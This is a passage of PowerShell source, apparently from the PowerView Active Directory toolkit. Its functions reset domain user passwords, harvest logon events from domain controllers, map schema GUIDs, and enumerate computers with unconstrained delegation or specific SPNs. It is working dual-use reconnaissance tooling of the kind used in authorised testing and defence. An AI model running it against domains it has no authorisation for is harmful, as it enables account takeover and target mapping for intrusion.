5476 5477 .PARAMETER Credential 5478 5479 A [Management.Automation.PSCredential] object of alternate credentials 5480 for connection to the target domain. 5481 5482 .EXAMPLE 5483 5484 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5485 Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword 5486 5487 Resets the password for 'andy' to the password specified. 5488 5489 .EXAMPLE 5490 5491 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5492 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 5493 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5494 Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred 5495 5496 Resets the password for 'andy' usering the alternate credentials specified. 5497 5498 .OUTPUTS 5499 5500 DirectoryServices.AccountManagement.UserPrincipal 5501 5502 .LINK 5503 5504 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ 5505 #> 5506 5507 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 5508 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 5509 [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] 5510 Param( 5511 [Parameter(Position = 0, Mandatory = $True)] 5512 [Alias('UserName', 'UserIdentity', 'User')] 5513 [String] 5514 $Identity, 5515 5516 [Parameter(Mandatory = $True)] 5517 [ValidateNotNullOrEmpty()] 5518 [Alias('Password')] 5519 [Security.SecureString] 5520 $AccountPassword, 5521 5522 [ValidateNotNullOrEmpty()] 5523 [String] 5524 $Domain, 5525 5526 [Management.Automation.PSCredential] 5527 [Management.Automation.CredentialAttribute()] 5528 $Credential = [Management.Automation.PSCredential]::Empty 5529 ) 5530 5531 $ContextArguments = @{ 'Identity' = $Identity } 5532 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } 5533 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } 5534 $Context = Get-PrincipalContext @ContextArguments 5535 5536 if ($Context) { 5537 $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) 5538 5539 if ($User) { 5540 Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" 5541 try { 5542 $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) 5543 $User.SetPassword($TempCred.GetNetworkCredential().Password) 5544 5545 $Null = $User.Save() 5546 Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" 5547 } 5548 catch { 5549 Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" 5550 } 5551 } 5552 else { 5553 Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" 5554 } 5555 } 5556 } 5557 5558 5559 function Get-DomainUserEvent { 5560 <# 5561 .SYNOPSIS 5562 5563 Enumerate account logon events (ID 4624) and Logon with explicit credential 5564 events (ID 4648) from the specified host (default of the localhost). 5565 5566 Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) 5567 License: BSD 3-Clause 5568 Required Dependencies: None 5569 5570 .DESCRIPTION 5571 5572 This function uses an XML path filter passed to Get-WinEvent to retrieve 5573 security events with IDs of 4624 (logon events) or 4648 (explicit credential 5574 logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). 5575 A maximum of -MaxEvents (default of 5000) are returned. 5576 5577 .PARAMETER ComputerName 5578 5579 Specifies the computer name to retrieve events from, default of localhost. 5580 5581 .PARAMETER StartTime 5582 5583 The [DateTime] object representing the start of when to collect events. 5584 Default of [DateTime]::Now.AddDays(-1). 5585 5586 .PARAMETER EndTime 5587 5588 The [DateTime] object representing the end of when to collect events. 5589 Default of [DateTime]::Now. 5590 5591 .PARAMETER MaxEvents 5592 5593 The maximum number of events to retrieve. Default of 5000. 5594 5595 .PARAMETER Credential 5596 5597 A [Management.Automation.PSCredential] object of alternate credentials 5598 for connection to the target computer. 5599 5600 .EXAMPLE 5601 5602 Get-DomainUserEvent 5603 5604 Return logon events on the local machine. 5605 5606 .EXAMPLE 5607 5608 Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) 5609 5610 Return all logon events from the last 3 days from every domain controller in the current domain. 5611 5612 .EXAMPLE 5613 5614 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5615 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 5616 Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 5617 5618 Return a max of 1000 logon events from the specified machine using the specified alternate credentials. 5619 5620 .OUTPUTS 5621 5622 PowerView.LogonEvent 5623 5624 PowerView.ExplicitCredentialLogonEvent 5625 5626 .LINK 5627 5628 http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ 5629 #> 5630 5631 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 5632 [OutputType('PowerView.LogonEvent')] 5633 [OutputType('PowerView.ExplicitCredentialLogonEvent')] 5634 [CmdletBinding()] 5635 Param( 5636 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 5637 [Alias('dnshostname', 'HostName', 'name')] 5638 [ValidateNotNullOrEmpty()] 5639 [String[]] 5640 $ComputerName = $Env:COMPUTERNAME, 5641 5642 [ValidateNotNullOrEmpty()] 5643 [DateTime] 5644 $StartTime = [DateTime]::Now.AddDays(-1), 5645 5646 [ValidateNotNullOrEmpty()] 5647 [DateTime] 5648 $EndTime = [DateTime]::Now, 5649 5650 [ValidateRange(1, 1000000)] 5651 [Int] 5652 $MaxEvents = 5000, 5653 5654 [Management.Automation.PSCredential] 5655 [Management.Automation.CredentialAttribute()] 5656 $Credential = [Management.Automation.PSCredential]::Empty 5657 ) 5658 5659 BEGIN { 5660 # the XML filter we're passing to Get-WinEvent 5661 $XPathFilter = @" 5662 <QueryList> 5663 <Query Id="0" Path="Security"> 5664 5665 <!-- Logon events --> 5666 <Select Path="Security"> 5667 *[ 5668 System[ 5669 Provider[ 5670 @Name='Microsoft-Windows-Security-Auditing' 5671 ] 5672 and (Level=4 or Level=0) and (EventID=4624) 5673 and TimeCreated[ 5674 @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' 5675 ] 5676 ] 5677 ] 5678 and 5679 *[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']] 5680 </Select> 5681 5682 <!-- Logon with explicit credential events --> 5683 <Select Path="Security"> 5684 *[ 5685 System[ 5686 Provider[ 5687 @Name='Microsoft-Windows-Security-Auditing' 5688 ] 5689 and (Level=4 or Level=0) and (EventID=4648) 5690 and TimeCreated[ 5691 @SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))' 5692 ] 5693 ] 5694 ] 5695 </Select> 5696 5697 <Suppress Path="Security"> 5698 *[ 5699 System[ 5700 Provider[ 5701 @Name='Microsoft-Windows-Security-Auditing' 5702 ] 5703 and 5704 (Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634) 5705 ] 5706 ] 5707 and 5708 *[ 5709 EventData[ 5710 ( 5711 (Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0') 5712 or 5713 Data[@Name='TargetUserName']='ANONYMOUS LOGON' 5714 or 5715 Data[@Name='TargetUserSID']='S-1-5-18' 5716 ) 5717 ] 5718 ] 5719 </Suppress> 5720 </Query> 5721 </QueryList> 5722 "@ 5723 $EventArguments = @{ 5724 'FilterXPath' = $XPathFilter 5725 'LogName' = 'Security' 5726 'MaxEvents' = $MaxEvents 5727 } 5728 if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential } 5729 } 5730 5731 PROCESS { 5732 ForEach ($Computer in $ComputerName) { 5733 5734 $EventArguments['ComputerName'] = $Computer 5735 5736 Get-WinEvent @EventArguments| ForEach-Object { 5737 $Event = $_ 5738 $Properties = $Event.Properties 5739 Switch ($Event.Id) { 5740 # logon event 5741 4624 { 5742 # skip computer logons, for now... 5743 if(-not $Properties[5].Value.EndsWith('$')) { 5744 $Output = New-Object PSObject -Property @{ 5745 ComputerName = $Computer 5746 TimeCreated = $Event.TimeCreated 5747 EventId = $Event.Id 5748 SubjectUserSid = $Properties[0].Value.ToString() 5749 SubjectUserName = $Properties[1].Value 5750 SubjectDomainName = $Properties[2].Value 5751 SubjectLogonId = $Properties[3].Value 5752 TargetUserSid = $Properties[4].Value.ToString() 5753 TargetUserName = $Properties[5].Value 5754 TargetDomainName = $Properties[6].Value 5755 TargetLogonId = $Properties[7].Value 5756 LogonType = $Properties[8].Value 5757 LogonProcessName = $Properties[9].Value 5758 AuthenticationPackageName = $Properties[10].Value 5759 WorkstationName = $Properties[11].Value 5760 LogonGuid = $Properties[12].Value 5761 TransmittedServices = $Properties[13].Value 5762 LmPackageName = $Properties[14].Value 5763 KeyLength = $Properties[15].Value 5764 ProcessId = $Properties[16].Value 5765 ProcessName = $Properties[17].Value 5766 IpAddress = $Properties[18].Value 5767 IpPort = $Properties[19].Value 5768 ImpersonationLevel = $Properties[20].Value 5769 RestrictedAdminMode = $Properties[21].Value 5770 TargetOutboundUserName = $Properties[22].Value 5771 TargetOutboundDomainName = $Properties[23].Value 5772 VirtualAccount = $Properties[24].Value 5773 TargetLinkedLogonId = $Properties[25].Value 5774 ElevatedToken = $Properties[26].Value 5775 } 5776 $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent') 5777 $Output 5778 } 5779 } 5780 5781 # logon with explicit credential 5782 4648 { 5783 # skip computer logons, for now... 5784 if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) { 5785 $Output = New-Object PSObject -Property @{ 5786 ComputerName = $Computer 5787 TimeCreated = $Event.TimeCreated 5788 EventId = $Event.Id 5789 SubjectUserSid = $Properties[0].Value.ToString() 5790 SubjectUserName = $Properties[1].Value 5791 SubjectDomainName = $Properties[2].Value 5792 SubjectLogonId = $Properties[3].Value 5793 LogonGuid = $Properties[4].Value.ToString() 5794 TargetUserName = $Properties[5].Value 5795 TargetDomainName = $Properties[6].Value 5796 TargetLogonGuid = $Properties[7].Value 5797 TargetServerName = $Properties[8].Value 5798 TargetInfo = $Properties[9].Value 5799 ProcessId = $Properties[10].Value 5800 ProcessName = $Properties[11].Value 5801 IpAddress = $Properties[12].Value 5802 IpPort = $Properties[13].Value 5803 } 5804 $Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent') 5805 $Output 5806 } 5807 } 5808 default { 5809 Write-Warning "No handler exists for event ID: $($Event.Id)" 5810 } 5811 } 5812 } 5813 } 5814 } 5815 } 5816 5817 5818 function Get-DomainGUIDMap { 5819 <# 5820 .SYNOPSIS 5821 5822 Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. 5823 5824 Author: Will Schroeder (@harmj0y) 5825 License: BSD 3-Clause 5826 Required Dependencies: Get-DomainSearcher, Get-Forest 5827 5828 .DESCRIPTION 5829 5830 Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for 5831 all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names. 5832 Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local) 5833 for objects where objectClass=controlAccessRight, translating the GUIDs again. 5834 5835 Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx 5836 5837 .PARAMETER Domain 5838 5839 Specifies the domain to use for the query, defaults to the current domain. 5840 5841 .PARAMETER Server 5842 5843 Specifies an Active Directory server (domain controller) to bind to. 5844 5845 .PARAMETER ResultPageSize 5846 5847 Specifies the PageSize to set for the LDAP searcher object. 5848 5849 .PARAMETER ServerTimeLimit 5850 5851 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 5852 5853 .PARAMETER Credential 5854 5855 A [Management.Automation.PSCredential] object of alternate credentials 5856 for connection to the target domain. 5857 5858 .OUTPUTS 5859 5860 Hashtable 5861 5862 Ouputs a hashtable containing a GUID -> Readable Name mapping. 5863 5864 .LINK 5865 5866 http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx 5867 #> 5868 5869 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 5870 [OutputType([Hashtable])] 5871 [CmdletBinding()] 5872 Param ( 5873 [ValidateNotNullOrEmpty()] 5874 [String] 5875 $Domain, 5876 5877 [ValidateNotNullOrEmpty()] 5878 [Alias('DomainController')] 5879 [String] 5880 $Server, 5881 5882 [ValidateRange(1, 10000)] 5883 [Int] 5884 $ResultPageSize = 200, 5885 5886 [ValidateRange(1, 10000)] 5887 [Int] 5888 $ServerTimeLimit, 5889 5890 [Management.Automation.PSCredential] 5891 [Management.Automation.CredentialAttribute()] 5892 $Credential = [Management.Automation.PSCredential]::Empty 5893 ) 5894 5895 $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} 5896 5897 $ForestArguments = @{} 5898 if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } 5899 5900 try { 5901 $SchemaPath = (Get-Forest @ForestArguments).schema.name 5902 } 5903 catch { 5904 throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' 5905 } 5906 if (-not $SchemaPath) { 5907 throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' 5908 } 5909 5910 $SearcherArguments = @{ 5911 'SearchBase' = $SchemaPath 5912 'LDAPFilter' = '(schemaIDGUID=*)' 5913 } 5914 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 5915 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 5916 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 5917 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 5918 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 5919 $SchemaSearcher = Get-DomainSearcher @SearcherArguments 5920 5921 if ($SchemaSearcher) { 5922 try { 5923 $Results = $SchemaSearcher.FindAll() 5924 $Results | Where-Object {$_} | ForEach-Object { 5925 $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] 5926 } 5927 if ($Results) { 5928 try { $Results.dispose() } 5929 catch { 5930 Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" 5931 } 5932 } 5933 $SchemaSearcher.dispose() 5934 } 5935 catch { 5936 Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" 5937 } 5938 } 5939 5940 $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') 5941 $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' 5942 $RightsSearcher = Get-DomainSearcher @SearcherArguments 5943 5944 if ($RightsSearcher) { 5945 try { 5946 $Results = $RightsSearcher.FindAll() 5947 $Results | Where-Object {$_} | ForEach-Object { 5948 $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] 5949 } 5950 if ($Results) { 5951 try { $Results.dispose() } 5952 catch { 5953 Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" 5954 } 5955 } 5956 $RightsSearcher.dispose() 5957 } 5958 catch { 5959 Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" 5960 } 5961 } 5962 5963 $GUIDs 5964 } 5965 5966 5967 function Get-DomainComputer { 5968 <# 5969 .SYNOPSIS 5970 5971 Return all computers or specific computer objects in AD. 5972 5973 Author: Will Schroeder (@harmj0y) 5974 License: BSD 3-Clause 5975 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty 5976 5977 .DESCRIPTION 5978 5979 Builds a directory searcher object using Get-DomainSearcher, builds a custom 5980 LDAP filter based on targeting/filter parameters, and searches for all objects 5981 matching the criteria. To only return specific properties, use 5982 "-Properties samaccountname,usnchanged,...". By default, all computer objects for 5983 the current domain are returned. 5984 5985 .PARAMETER Identity 5986 5987 A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), 5988 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), 5989 or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. 5990 5991 .PARAMETER UACFilter 5992 5993 Dynamic parameter that accepts one or more values from $UACEnum, including 5994 "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. 5995 5996 .PARAMETER Unconstrained 5997 5998 Switch. Return computer objects that have unconstrained delegation. 5999 6000 .PARAMETER TrustedToAuth 6001 6002 Switch. Return computer objects that are trusted to authenticate for other principals. 6003 6004 .PARAMETER Printers 6005 6006 Switch. Return only printers. 6007 6008 .PARAMETER SPN 6009 6010 Return computers with a specific service principal name, wildcards accepted. 6011 6012 .PARAMETER OperatingSystem 6013 6014 Return computers with a specific operating system, wildcards accepted. 6015 6016 .PARAMETER ServicePack 6017 6018 Return computers with a specific service pack, wildcards accepted. 6019 6020 .PARAMETER SiteName 6021 6022 Return computers in the specific AD Site name, wildcards accepted. 6023 6024 .PARAMETER Ping 6025 6026 Switch. Ping each host to ensure it's up before enumerating. 6027 6028 .PARAMETER Domain 6029 6030 Specifies the domain to use for the query, defaults to the current domain. 6031 6032 .PARAMETER LDAPFilter 6033 6034 Specifies an LDAP query string that is used to filter Active Directory objects. 6035 6036 .PARAMETER Properties 6037 6038 Specifies the properties of the output object to retrieve from the server. 6039 6040 .PARAMETER SearchBase 6041 6042 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 6043 Useful for OU queries. 6044 6045 .PARAMETER Server 6046 6047 Specifies an Active Directory server (domain controller) to bind to. 6048 6049 .PARAMETER SearchScope 6050 6051 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 6052 6053 .PARAMETER ResultPageSize 6054 6055 Specifies the PageSize to set for the LDAP searcher object. 6056 6057 .PARAMETER ServerTimeLimit 6058 6059 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 6060 6061 .PARAMETER SecurityMasks 6062 6063 Specifies an option for examining security information of a directory object. 6064 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 6065 6066 .PARAMETER Tombstone 6067 6068 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 6069 6070 .PARAMETER FindOne 6071 6072 Only return one result object. 6073 6074 .PARAMETER Credential 6075 6076 A [Management.Automation.PSCredential] object of alternate credentials 6077 for connection to the target domain. 6078 6079 .PARAMETER Raw 6080 6081 Switch. Return raw results instead of translating the fields into a custom PSObject. 6082 6083 .EXAMPLE 6084 6085 Get-DomainComputer 6086 6087 Returns the current computers in current domain. 6088 6089 .EXAMPLE 6090 6091 Get-DomainComputer -SPN mssql* -Domain testlab.local 6092 6093 Returns all MS SQL servers in the testlab.local domain. 6094 6095 .EXAMPLE 6096 6097 Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname 6098 6099 Return the dns hostnames of servers trusted for delegation. 6100 6101 .EXAMPLE 6102 6103 Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained 6104 6105 Search the specified OU for computeres that allow unconstrained delegation. 6106 6107 .EXAMPLE 6108 6109 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 6110 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 6111 Get-DomainComputer -Credential $Cred 6112 6113 .OUTPUTS 6114 6115 PowerView.Computer 6116 6117 Custom PSObject with translated computer property fields. 6118 6119 PowerView.Computer.Raw 6120 6121 The raw DirectoryServices.SearchResult object, if -Raw is enabled. 6122 #> 6123 6124 [OutputType('PowerView.Computer')] 6125 [OutputType('PowerView.Computer.Raw')] 6126 [CmdletBinding()] 6127 Param ( 6128 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 6129 [Alias('SamAccountName', 'Name', 'DNSHostName')] 6130 [String[]] 6131 $Identity, 6132 6133 [Switch] 6134 $Unconstrained, 6135 6136 [Switch] 6137 $TrustedToAuth, 6138 6139 [Switch] 6140 $Printers, 6141 6142 [ValidateNotNullOrEmpty()] 6143 [Alias('ServicePrincipalName')] 6144 [String] 6145 $SPN, 6146 6147 [ValidateNotNullOrEmpty()] 6148 [String] 6149 $OperatingSystem, 6150 6151 [ValidateNotNullOrEmpty()] 6152 [String] 6153 $ServicePack, 6154 6155 [ValidateNotNullOrEmpty()] 6156 [String] 6157 $SiteName, 6158 6159 [Switch] 6160 $Ping, 6161 6162 [ValidateNotNullOrEmpty()] 6163 [String] 6164 $Domain, 6165 6166 [ValidateNotNullOrEmpty()] 6167 [Alias('Filter')] 6168 [String] 6169 $LDAPFilter, 6170 6171 [ValidateNotNullOrEmpty()] 6172 [String[]] 6173 $Properties, 6174 6175 [ValidateNotNullOrEmpty()] 6176 [Alias('ADSPath')] 6177 [String] 6178 $SearchBase, 6179 6180 [ValidateNotNullOrEmpty()] 6181 [Alias('DomainController')] 6182 [String] 6183 $Server, 6184 6185 [ValidateSet('Base', 'OneLevel', 'Subtree')] 6186 [String] 6187 $SearchScope = 'Subtree', 6188 6189 [ValidateRange(1, 10000)] 6190 [Int] 6191 $ResultPageSize = 200, 6192 6193 [ValidateRange(1, 10000)] 6194 [Int] 6195 $ServerTimeLimit, 6196 6197 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 6198 [String] 6199 $SecurityMasks, 6200 6201 [Switch] 6202 $Tombstone, 6203 6204 [Alias('ReturnOne')] 6205 [Switch] 6206 $FindOne, 6207 6208 [Management.Automation.PSCredential] 6209 [Management.Automation.CredentialAttribute()] 6210 $Credential = [Management.Automation.PSCredential]::Empty, 6211 6212 [Switch] 6213 $Raw 6214 ) 6215 6216 DynamicParam { 6217 $UACValueNames = [Enum]::GetNames($UACEnum) 6218 # add in the negations 6219 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} 6220 # create new dynamic parameter 6221 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) 6222 } 6223 6224 BEGIN { 6225 $SearcherArguments = @{} 6226 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 6227 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 6228 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 6229 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 6230 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 6231 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 6232 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 6233 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 6234 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 6235 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 6236 $CompSearcher = Get-DomainSearcher @SearcherArguments 6237 } 6238 6239 PROCESS { 6240 #bind dynamic parameter to a friendly variable 6241 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { 6242 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters 6243 } 6244 6245 if ($CompSearcher) { 6246 $IdentityFilter = '' 6247 $Filter = '' 6248 $Identity | Where-Object {$_} | ForEach-Object { 6249 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 6250 if ($IdentityInstance -match '^S-1-') { 6251 $IdentityFilter += "(objectsid=$IdentityInstance)" 6252 } 6253 elseif ($IdentityInstance -match '^CN=') { 6254 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 6255 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 6256 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 6257 # and rebuild the domain searcher 6258 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 6259 Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 6260 $SearcherArguments['Domain'] = $IdentityDomain 6261 $CompSearcher = Get-DomainSearcher @SearcherArguments 6262 if (-not $CompSearcher) { 6263 Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" 6264 } 6265 } 6266 } 6267 elseif ($IdentityInstance.Contains('.')) { 6268 $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" 6269 } 6270 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 6271 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 6272 $IdentityFilter += "(objectguid=$GuidByteString)" 6273 } 6274 else { 6275 $IdentityFilter += "(name=$IdentityInstance)" 6276 } 6277 } 6278 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 6279 $Filter += "(|$IdentityFilter)" 6280 } 6281 6282 if ($PSBoundParameters['Unconstrained']) { 6283 Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' 6284 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' 6285 } 6286 if ($PSBoundParameters['TrustedToAuth']) { 6287 Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' 6288 $Filter += '(msds-allowedtodelegateto=*)' 6289 } 6290 if ($PSBoundParameters['Printers']) { 6291 Write-Verbose '[Get-DomainComputer] Searching for printers' 6292 $Filter += '(objectCategory=printQueue)' 6293 } 6294 if ($PSBoundParameters['SPN']) { 6295 Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" 6296 $Filter += "(servicePrincipalName=$SPN)" 6297 } 6298 if ($PSBoundParameters['OperatingSystem']) { 6299 Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" 6300 $Filter += "(operatingsystem=$OperatingSystem)" 6301 } 6302 if ($PSBoundParameters['ServicePack']) { 6303 Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" 6304 $Filter += "(operatingsystemservicepack=$ServicePack)" 6305 } 6306 if ($PSBoundParameters['SiteName']) { 6307 Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" 6308 $Filter += "(serverreferencebl=$SiteName)" 6309 } 6310 if ($PSBoundParameters['LDAPFilter']) { 6311 Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" 6312 $Filter += "$LDAPFilter" 6313 } 6314 # build the LDAP filter for the dynamic UAC filter value 6315 $UACFilter | Where-Object {$_} | ForEach-Object { 6316 if ($_ -match 'NOT_.*') { 6317 $UACField = $_.Substring(4) 6318 $UACValue = [Int]($UACEnum::$UACField) 6319 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" 6320 } 6321 else { 6322 $UACValue = [Int]($UACEnum::$_) 6323 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" 6324 } 6325 } 6326 6327 $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" 6328 Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" 6329 6330 if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } 6331 else { $Results = $CompSearcher.FindAll() } 6332 $Results | Where-Object {$_} | ForEach-Object { 6333 $Up = $True 6334 if ($PSBoundParameters['Ping']) { 6335 $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname 6336 } 6337 if ($Up) { 6338 if ($PSBoundParameters['Raw']) { 6339 # return raw result objects 6340 $Computer = $_ 6341 $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') 6342 } 6343 else { 6344 $Computer = Convert-LDAPProperty -Properties $_.Properties 6345 $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') 6346 } 6347 $Computer 6348 } 6349 } 6350 if ($Results) { 6351 try { $Results.dispose() } 6352 catch { 6353 Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" 6354 } 6355 } 6356 $CompSearcher.dispose() 6357 } 6358 } 6359 } 6360 6361 6362 function Get-DomainObject { 6363 <# 6364 .SYNOPSIS 6365 6366 Return all (or specified) domain objects in AD. 6367 6368 Author: Will Schroeder (@harmj0y) 6369 License: BSD 3-Clause 6370 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName 6371 6372 .DESCRIPTION 6373 6374 Builds a directory searcher object using Get-DomainSearcher, builds a custom 6375 LDAP filter based on targeting/filter parameters, and searches for all objects 6376 matching the criteria. To only return specific properties, use 6377 "-Properties samaccountname,usnchanged,...". By default, all objects for 6378 the current domain are returned. 6379 6380 .PARAMETER Identity 6381 6382 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 6383 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 